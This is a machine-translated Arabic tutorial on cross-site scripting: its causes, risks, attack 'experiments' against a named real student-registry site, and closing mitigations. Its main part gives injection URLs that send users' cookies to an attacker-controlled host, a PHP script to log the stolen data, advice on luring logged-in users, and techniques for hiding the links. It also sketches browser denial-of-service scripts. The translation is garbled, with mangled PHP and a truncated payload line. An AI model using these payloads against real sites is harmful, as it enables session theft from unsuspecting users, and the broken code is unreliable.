تقدم هذه المقالة بشكل أساسي أسباب ثغرات تنفيذ النص عبر الموقع. نظرًا لعدم وجود الكثير من المعلومات حول نقاط الضعف في تنفيذ البرنامج النصي عبر الموقع ، لا توجد عادة مقدمة مفصلة على الإنترنت. آمل أن يقدم هذا المقال هذه المعرفة بمزيد من التفصيل. فيما يلي أسباب نقاط الضعف في تنفيذ البرنامج النصي عبر المواقع التي جمعها محرر قناة التكنولوجيا الجديدة الخاطئة. دعنا نذهب إلى ما يلي لمعرفة المزيد!
أسباب نقاط الضعف في تنفيذ البرنامج النصي عبر المواقع [أسباب نقاط الضعف]
السبب بسيط للغاية ، لأن برنامج CGI لا يقوم بتصفية أو تحويل رمز HTML في المتغيرات المقدمة من المستخدم.
【نموذج الضعف】
يشير النموذج المذكور هنا فعليًا إلى شكل إدخال CGI ، والذي ينقسم بشكل أساسي إلى نوعين:
1. إظهار المدخلات
2. المدخلات الضمنية
يتطلب إدخال العرض بوضوح من المستخدم إدخال البيانات ، في حين أن الإدخال الضمني لا يتطلب من المستخدم إدخال البيانات ، ولكن يمكن للمستخدم التدخل عن طريق إدخال البيانات.
يمكن تقسيم إدخال العرض إلى نوعين:
1. اكتمل الإدخال والنتيجة هي الإخراج على الفور
2. يتم إكمال الإدخال وتخزينه في ملف نصي أو قاعدة بيانات ، ثم يتم إخراج النتيجة.
ملاحظة: قد يجعل هذا الأخير موقع الويب الخاص بك لا يمكن التعرف عليه! :(
بالإضافة إلى بعض المواقف العادية ، يمكن أيضًا تنفيذ الإدخال الضمني باستخدام برنامج الخادم أو برنامج CGI للتعامل مع معلومات الخطأ.
【مخاطر الثغرات】
ما يقلقه الجميع هو ربما هذه القضية. قد لا تكون القائمة التالية شاملة أو منهجية ، لكنني أعتقد أنها يجب أن تكون أكثر نموذجية.
1. احصل على بيانات حساسة في ملفات تعريف الارتباط الأخرى للمستخدمين
2. حظر معلومات محددة
3. معلومات الصفحة المزورة
4. رفض الخدمة
5. اختراق إعدادات أمان مختلفة للشبكات الخارجية والداخلية
6. جنبا إلى جنب مع نقاط الضعف الأخرى ، تعديل إعدادات النظام ، عرض ملفات النظام ، تنفيذ أوامر النظام ، إلخ.
7. آخر
بشكل عام ، غالبًا ما تكون المخاطر المذكورة أعلاه مصحوبة بتشوه الصفحة. تعني ما يسمى بتنفيذ تنفيذ النص عبر الموقع أن تأثير الهجوم يتحقق من خلال مواقع الويب الأخرى ، مما يعني أن هذا النوع من الهجوم يمكن أن يخفي الهوية إلى حد ما.
【طريقة الاستخدام】
أدناه سوف نوضح المخاطر المختلفة المذكورة أعلاه من خلال أمثلة محددة ، والتي يجب أن تكون أكثر توضيحا وأسهل في الفهم. للحصول على بنية أوضح ، سنقوم بتجربة لكل خطر.
من أجل إجراء هذه التجارب بشكل جيد ، نحتاج إلى برنامج التقاط الحزمة. أنا استخدم قزحية. بالطبع ، يمكنك اختيار برامج أخرى ، مثل Netxray أو شيء من هذا القبيل. لطرق الاستخدام المحددة ، يرجى الرجوع إلى المساعدة أو الدليل ذات الصلة.
بالإضافة إلى ذلك ، هناك شيء واحد يجب فهمه هو أنه طالما أن الخادم يعيد المعلومات المقدمة من المستخدم ، فقد يكون هناك ثغرة في تنفيذ البرنامج النصي عبر الموقع.
حسنًا ، كل شيء جاهز ، لنبدأ في التجربة! سائدا
التجربة 1: الحصول على معلومات حساسة في ملفات تعريف الارتباط للمستخدمين الآخرين
دعنا نأخذ موقع تسجيل الطلاب المحليين الشهير 5460.net كمثال لتوضيحه. يرجى اتباع الخطوات أدناه:
1. أدخل الصفحة الرئيسية http://www.5460.net/
2. أدخل اسم المستخدم "<h1>" وأرسله. يقوم الخادم بإرجاع المعلومات التي تحتوي على إرسال المستخدم "<h1>".
3. تحليل بيانات التقاط الحزم واحصل على الطلب الفعلي:
http://www.5460.net/txl/login/login.pl؟username=<H1>&Passwd=&OK.X=28&y=6
4. قم بإنشاء طلب بهدف القدرة على عرض معلومات ملفات تعريف الارتباط للمستخدم:
http://www.5460.net/txl/login/login.pl؟username=<script> (alert(document.cookie)</ script> & passwd = & ok.x = 28 & ok.y = 6
5. إذا حصل الطلب أعلاه على التأثير المتوقع ، فيمكننا تجربة الطلب التالي:
http://www.5460.net/txl/login/login.pl؟username=<script> window.open("http://www.notfound.org/ info.php؟
من بينها ، http://www.notfound.org/info.php هو برنامج نصي على مضيف يمكنك التحكم فيه. وظيفتها هي الحصول على معلومات سلسلة الاستعلام ، والمحتوى كما يلي:
<؟ PHP
$ info = getenv ("query_string") ؛
if ($ info) {
$ fp = fopen ("info.txt" ، "a") ؛
fwrite ($ fp ، $ info. "/n") ؛
fclose ($ fp) ؛
}
رأس ("الموقع: http://www.5460.net") ؛
ملاحظة: "٪ 2b" هو ترميز عنوان URL لـ "+" ، ويمكن استخدام "٪ 2B فقط" هنا ، لأنه سيتم معالجة "+" كمساحة. جمل الرأس التالية هي بحتة لزيادة الإخفاء.
6. إذا كان عنوان URL أعلاه يمكن تشغيله بشكل صحيح ، فإن الخطوة التالية هي حث المستخدمين الذين تم تسجيلهم إلى 5460.net للوصول إلى عنوان URL ، ويمكننا الحصول على معلومات حساسة في ملف تعريف الارتباط للمستخدم.
7. ما تريد القيام به لاحقًا هو متروك لك!
التجربة 2: حظر معلومات محددة
ما زلنا نأخذ 5460.net كمثال ، إليك برنامج CGI إشكالي:
http://www.5460.net/txl/liuyan/liuyansql.pl
يقبل برنامج CGI ثلاثة متغيرات يقدمها المستخدم ، وهي NID و CSID و CNAME ، ولكن لا تتحقق من أي متغيرات CNAME المقدمة من المستخدم. علاوة على ذلك ، يأخذ برنامج CGI قيمة CNAME كجزء من صفحة الإخراج. يجب أن يكون مستخدمو 5460.net أكثر وضوحًا أن اسمك في الزاوية اليمنى السفلية من الرسالة ، أليس كذلك؟
نظرًا لأن لدينا الشروط المذكورة أعلاه ، فقد نرغب في اتخاذ الاستنتاجات التالية:
يمكن للمستخدم "حظر" جميع الرسائل بين رسالته!
بالطبع ، فإن "الحظر" الذي نتحدث عنه ليس "حذف" ، ولا تزال رسائل المستخدم موجودة ، ولكن بسبب خصائص HTML ، لا يمكننا رؤيتها من الصفحة. بالطبع ، إذا كنت ترغب في عرض الكود المصدري ، فهذا أمر غير مجدي ، لكن أولئك منا الذين يدرسون أمان CGI يقولون ، كم عدد الأشخاص الذين ينظرون إلى رمز مصدر HTML إذا كان لديك شيء يجب القيام به أم لا؟
لأسباب مختلفة ، لن أعلن عن التفاصيل المحددة هنا ، فقط تعرف على المبادئ.
ملاحظة: إذا كنت تفكر في الأمر بعناية ، فلا يمكننا فقط منع الرسائل ، ولكن أيضًا ترك الرسائل مجهول الهوية ، أليس كذلك؟
التجربة 3: نسيان معلومات الصفحة
إذا فهمت التجربة أعلاه ، فليس هناك حاجة للقيام بهذه التجربة. المبادئ الأساسية هي نفسها ، لكنها مجرد مزعجة بعض الشيء.
التجربة 4: رفض الخدمة
يجب أن يكون معروفًا الآن أنه يمكننا التحكم في سلوك الخوادم مع نقاط الضعف في تنفيذ البرنامج النصي عبر الموقع إلى حد ما. في هذه الحالة ، يمكننا التحكم في الخادم لإجراء بعض الإجراءات المستهلكة للموارد. على سبيل المثال ، قم بتشغيل البرامج النصية JavaScript التي تحتوي على حلقات ميتة أو تفتح النوافذ اللانهائية ، وما إلى ذلك. وبهذه الطريقة قد يتباطأ نظام المستخدم الذي يصل إلى عنوان URL أو حتى تعطل. وبالمثل ، قد نقوم أيضًا بتضمين بعض البرامج النصية فيها لطلب الخادم لطلب الموارد على الخوادم الأخرى. إذا كانت الموارد التي تم الوصول إليها تستهلك المزيد من الموارد وكان هناك عدد أكبر من الزوار ، فقد يتم أيضًا رفض الخادم الذي تم الوصول إليه من الخدمة ، ويعتقد أن رفض هجوم الخدمة قد بدأه الوصول إليه ، بحيث يمكن إخفاء الهوية.
التجربة 5: اختراق إعدادات أمان مختلفة للشبكات الخارجية والداخلية
يجب أن يكون هذا سهل الفهم. بشكل عام ، تضع متصفحاتنا مستويات أمان مختلفة لمناطق مختلفة. على سبيل المثال ، بالنسبة لمنطقة الإنترنت ، قد لا تسمح بتنفيذ JavaScript ، ولكن في منطقة إنترانت ، قد تسمح بتنفيذ JavaScript. بشكل عام ، فإن مستوى أمن الأول أعلى من هذا الأخير. وبهذه الطريقة ، بشكل عام ، لا يمكن للآخرين مهاجمك من خلال تنفيذ البرامج النصية JavaScript الضارة ، ولكن إذا كان هناك ثغرة في تنفيذ البرنامج النصي عبر الموقع على الخادم على نفس الإنترانت ، فإن المهاجم لديه فرصة للاستفادة منه لأن الخادم يقع في منطقة Intranet.
التجربة 6: جنبًا إلى جنب مع نقاط الضعف الأخرى ، وتعديل إعدادات النظام ، وعرض ملفات النظام ، وتنفيذ أوامر النظام ، إلخ.
نظرًا لوجود عدد كبير جدًا من نقاط الضعف المتعلقة بالمتصفح ، فهناك العديد من نقاط الضعف التي يمكن دمجها مع نقاط الضعف في تنفيذ البرنامج النصي. أعتقد أن الجميع يجب أن يكونوا واضحين بشأن هذه القضايا. تعرض تعديل عناوين IE عدة مرات ، وضعف أوامر تنفيذ نوع MIME ، ومجموعة متنوعة من الديدان كلها أمثلة جيدة.
لمزيد من الأمثلة ، يرجى الرجوع إلى الرابط التالي:
خطأ في شبكة الإنترنت ، علة الكائن المنبثقة
http://archives.neofesis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript popup popup المحلي إنكار لخدمة الخدمة
http://archives.neofesis.com/archives/bugtraq/2002-01/0058.html
يمكن لـ MSIE6 قراءة الملفات المحلية
http://www.xs4all.nl/~jkuperus/bug.htm
قد تنزيل MSIE وتشغيل Progams تلقائيًا
http://archives.neofesis.com/archives/bugtraq/2001-12/0143.html
ملحقات الملفات قابلة للتخريب في مربع الحوار تنزيل MSIE
http://archives.neofesis.com/archives/bugtraq/2001-11/0203.html
آخر علة سرقة ملفات تعريف الارتباط (MS01-055)
http://archives.neofesis.com/archives/bugtraq/2001-11/0106.html
نشرة أمان Microsoft MS01-055
http://archives.neofesis.com/archives/bugtraq/2001-11/0048.html
عيب أمان جاد في Microsoft Internet Explorer - Zone Soboofing
http://archives.neofesis.com/archives/bugtraq/2001-10/0075.html
يمكن أن يتسبب رأس MIME غير صحيح في تنفيذ مرفق البريد الإلكتروني
http://www.kriptopolis.com/cua/eml.html
إن دور ثغرة تنفيذ البرنامج النصي عبر الموقع هنا هو إخفاء هوية المهاجم الحقيقي.
التجربة 7: آخرون
في الواقع ، لا يتعلق هذا النوع من المشكلات بقليل مع نقاط الضعف في تنفيذ النصوص عبر الموقع ، ولكن لا يزال من الضروري ذكرها هنا. جوهر المشكلة هو أن برنامج CGI لا يقوم بتصفية البيانات المقدمة من المستخدم ثم يقوم بتجهيز معالجة الإخراج. على سبيل المثال ، يقوم برنامج CGI على الخادم الذي يدعم بيانات SSI بإخراج البيانات المقدمة من المستخدم ، والتي قد تؤدي إلى تنفيذ تعليمات SSI بغض النظر عن طريقة إدخال البيانات. بالطبع ، يتم تنفيذ هذا على جانب الخادم ، وليس على جانب العميل. في الواقع ، قد تتسبب لغات CGI مثل ASP و PHP و Perl في هذه المشكلة.
【التقنيات المخفية】
من أجل الوقت ، سأتحدث بشكل أساسي عن النظرية هنا. أعتقد أنه ليس من الصعب فهم. إذا كانت هناك مشكلة حقًا ، فانتقل إلى هذا الكتاب لقراءته.
1. ترميز عنوان URL
يقارن:
http://www.5460.net/txl/login/login.pl؟username=<H1>&Passwd=&OK.X=28&y=6
http://www.5460.net/txl/login/login.pl؟username=٪3C٪68٪31٪3E&Passwd=&OK.X=28&OK.Y=6
أيهما تعتقد أنه مخفي أكثر؟ !
2. الاختباء تحت أشياء أخرى
هل من الأفضل أن تقرر إخفاء الرابط أدناه الزر بدلاً من إعطاء شخص ما رابطًا مباشرة؟
3. التضمين في الصفحة
هل من الأسهل بكثير السماح للآخرين بالوصول إلى عنوان (لاحظ أن العنوان هنا يختلف عن عنوان URL المذكور أعلاه) بدلاً من السماح للآخرين بالضغط على زر؟ بمساعدة Iframe ، يمكنك جعل هذا الهجوم مخفيًا أكثر.
4. الاستخدام العقلاني للأحداث
يمكن تجاوز الاستخدام العقلاني للأحداث في بعض الحالات قيود الإدخال لبرامج CGI ، مثل تعرض تنفيذ البرنامج النصي عبر المواقع الخاصة بـ SecurityFocus قبل بضعة أيام.
【احتياطات】
بشكل عام ، لا توجد مشكلة في تنفيذ هجمات مباشرة مثل <script> Alert (document.cookie) </script> ، ولكن في بعض الأحيان تقوم برامج CGI بمعالجة إدخال المستخدم ، مثل "" أو "". في هذا الوقت ، نحتاج إلى استخدام بعض الحيل لتجاوز هذه القيود.
إذا كنت على دراية بلغة HTML ، فلا ينبغي أن يكون تجاوز هذه القيود مشكلة.
【حل】
لتجنب التعرض للهجوم من قبل نقاط الضعف في تنفيذ النصوص عبر الموقع ، يحتاج كل من المبرمجين والمستخدمين إلى العمل معًا:
مبرمج:
1. تصفية أو تحويل رمز HTML في البيانات المقدمة من المستخدم
2. الحد من طول البيانات المقدمة من قبل المستخدمين
مستخدم:
1. لا تصل بسهولة إلى الروابط التي يقدمها لك الآخرون
2. تعطيل المتصفحات من تشغيل JavaScript ورمز ActiveX
المرفق: موقع إعدادات تعديل المتصفح الشائعة هو:
Internet Explorer:
أدوات -> خيارات الإنترنت -> الأمان -> الإنترنت -> مستويات مخصصة
أدوات -> خيارات الإنترنت -> الأمان -> إنترانت -> مستويات مخصصة
الأوبرا:
ملف -> المعلمات السريعة -> السماح Java
ملف -> المعلمات السريعة -> السماح للمكونات الإضافية بالاستخدام
الملف -> المعلمات السريعة -> السماح JavaScript
【التعليمات】
س: أين توجد ثغرة تنفيذ النص عبر الموقع؟
ج: طالما أنه برنامج CGI وطالما يُسمح للمستخدم بالإدخال ، فقد يكون هناك ثغرة في تنفيذ البرنامج النصي عبر الموقع.
س: هل يمكن أن يسرق نقاط الضعف في تنفيذ النصوص عبر الموقع فقط ملفات تعريف الارتباط الخاصة بالأشخاص الآخرين؟
ج: بالطبع لا! يمكن القيام بجميع رمز HTML ، يمكن القيام بمواطن الضعف في تنفيذ البرنامج النصي.
المقالة أعلاه هي سبب الثغرات الأمنية في تنفيذ البرنامج النصي. أعتقد أن كل شخص لديه فهم معين. إذا كنت ترغب في معرفة المزيد من المعلومات الفنية ، فيرجى الاستمرار في الانتباه إلى قناة التكنولوجيا الجديدة الخاطئة!